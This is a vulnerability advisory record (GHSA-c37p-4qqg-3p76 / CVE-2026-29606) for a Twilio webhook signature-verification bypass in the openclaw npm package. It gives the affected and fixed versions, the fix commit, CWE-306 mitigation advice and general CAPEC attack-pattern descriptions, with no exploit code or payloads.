allowNgrokFreeTierLoopbackBypass no longer bypasses signature verification. It only enables trusting forwarded headers on loopback so the public ngrok URL can be reconstructed for correct signature validation.
Fix commit(s): - ff11d8793b90c52f8d84dae3fbb99307da51b5c9
Thanks @p80n-sec for reporting.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.2.14"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-29606"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-18T00:54:48Z",
"nvd_published_at": "2026-03-05T22:16:23Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nA Twilio webhook signature-verification bypass in the voice-call extension could allow unauthenticated webhook requests when a specific ngrok free-tier compatibility option is enabled.\n\n## Impact\n\nThis issue is limited to configurations that explicitly enable and expose the voice-call webhook endpoint.\n\nNot affected by default:\n- The voice-call extension is optional and disabled by default.\n- The bypass only applied when `tunnel.allowNgrokFreeTierLoopbackBypass` was explicitly enabled.\n- Exploitation required the webhook to be reachable (typically via a public ngrok URL during development).\n\nWorst case (when exposed and the option was enabled):\n- An external attacker could send forged requests to the publicly reachable webhook endpoint that would be accepted without a valid `X-Twilio-Signature`.\n- This could result in unauthorized webhook event handling (integrity) and request flooding (availability).\n\n## Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Affected versions: `\u003c= 2026.2.13` (latest published as of 2026-02-14)\n- Patched versions: `\u003e= 2026.2.14` (planned next release; pending publish)\n\n## Fix\n\n`allowNgrokFreeTierLoopbackBypass` no longer bypasses signature verification. It only enables trusting forwarded headers on loopback so the public ngrok URL can be reconstructed for correct signature validation.\n\nFix commit(s):\n- ff11d8793b90c52f8d84dae3fbb99307da51b5c9\n\nThanks @p80n-sec for reporting.",
"id": "GHSA-c37p-4qqg-3p76",
"modified": "2026-03-06T01:03:39Z",
"published": "2026-02-18T00:54:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-c37p-4qqg-3p76"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29606"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/ff11d8793b90c52f8d84dae3fbb99307da51b5c9"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/releases/tag/v2026.2.14"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-webhook-signature-verification-bypass-via-ngrok-loopback-compatibility"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw Twilio voice-call webhook auth bypass when ngrok loopback compatibility is enabled"
}
Mitigation
- Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
- Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
- In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
- In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
Mitigation MIT-4.5
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
Mitigation
When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].
CAPEC-12: Choosing Message Identifier
This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.
CAPEC-166: Force the System to Reset Values
An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.
CAPEC-216: Communication Channel Manipulation
An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.
CAPEC-36: Using Unpublished Interfaces or Functionality
An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.
CAPEC-62: Cross Site Request Forgery
An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.